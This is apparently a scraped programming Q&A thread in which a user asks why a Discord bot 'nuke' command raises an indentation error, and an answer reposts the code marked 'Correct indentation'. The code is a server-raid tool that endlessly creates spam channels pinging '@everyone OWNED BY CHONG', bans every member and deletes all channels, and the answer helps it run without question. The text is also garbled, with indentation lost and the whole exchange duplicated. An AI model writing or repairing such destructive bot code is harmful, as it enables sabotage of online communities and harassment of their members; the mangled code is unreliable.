So there was an expected indented block error but idk why
Question:
So I was creating a nuke command and I got an indented block error but idk why,
heres the code:
@client.command()
async def nuke(ctx, arg: str, *, name):
allow_mentions = discord.AllowedMentions(everyone = True)
guild = ctx.message.guild
while True:
channels = await guild.create_text_channel(arg)
await channels.send(content = "@everyone OWNED BY CHONG")
guild = ctx.guild
await guild.create_role(name=name)
for user in ctx.guild.members:
try:
await user.ban()
except:
pass
for c in ctx.guild.channels:
await c.delete()
await ctx.message.delete()
Answers:
@client.command()
async def nuke(ctx, arg: str, *, name):
allow_mentions = discord.AllowedMentions(everyone = True)
guild = ctx.message.guild
while True:
channels = await guild.create_text_channel(arg)
await channels.send(content = "@everyone OWNED BY CHONG")
guild = ctx.guild
await guild.create_role(name=name)
for user in ctx.guild.members:
try: # Correct indentation
await user.ban()
except:
pass
for c in ctx.guild.channels:
await c.delete() # Correct indentation
await ctx.message.delete()
So I was creating a nuke command and I got an indented block error but idk why,
heres the code:
@client.command()
async def nuke(ctx, arg: str, *, name):
allow_mentions = discord.AllowedMentions(everyone = True)
guild = ctx.message.guild
while True:
channels = await guild.create_text_channel(arg)
await channels.send(content = "@everyone OWNED BY CHONG")
guild = ctx.guild
await guild.create_role(name=name)
for user in ctx.guild.members:
try:
await user.ban()
except:
pass
for c in ctx.guild.channels:
await c.delete()
await ctx.message.delete()
@client.command()
async def nuke(ctx, arg: str, *, name):
allow_mentions = discord.AllowedMentions(everyone = True)
guild = ctx.message.guild
while True:
channels = await guild.create_text_channel(arg)
await channels.send(content = "@everyone OWNED BY CHONG")
guild = ctx.guild
await guild.create_role(name=name)
for user in ctx.guild.members:
try: # Correct indentation
await user.ban()
except:
pass
for c in ctx.guild.channels:
await c.delete() # Correct indentation
await ctx.message.delete()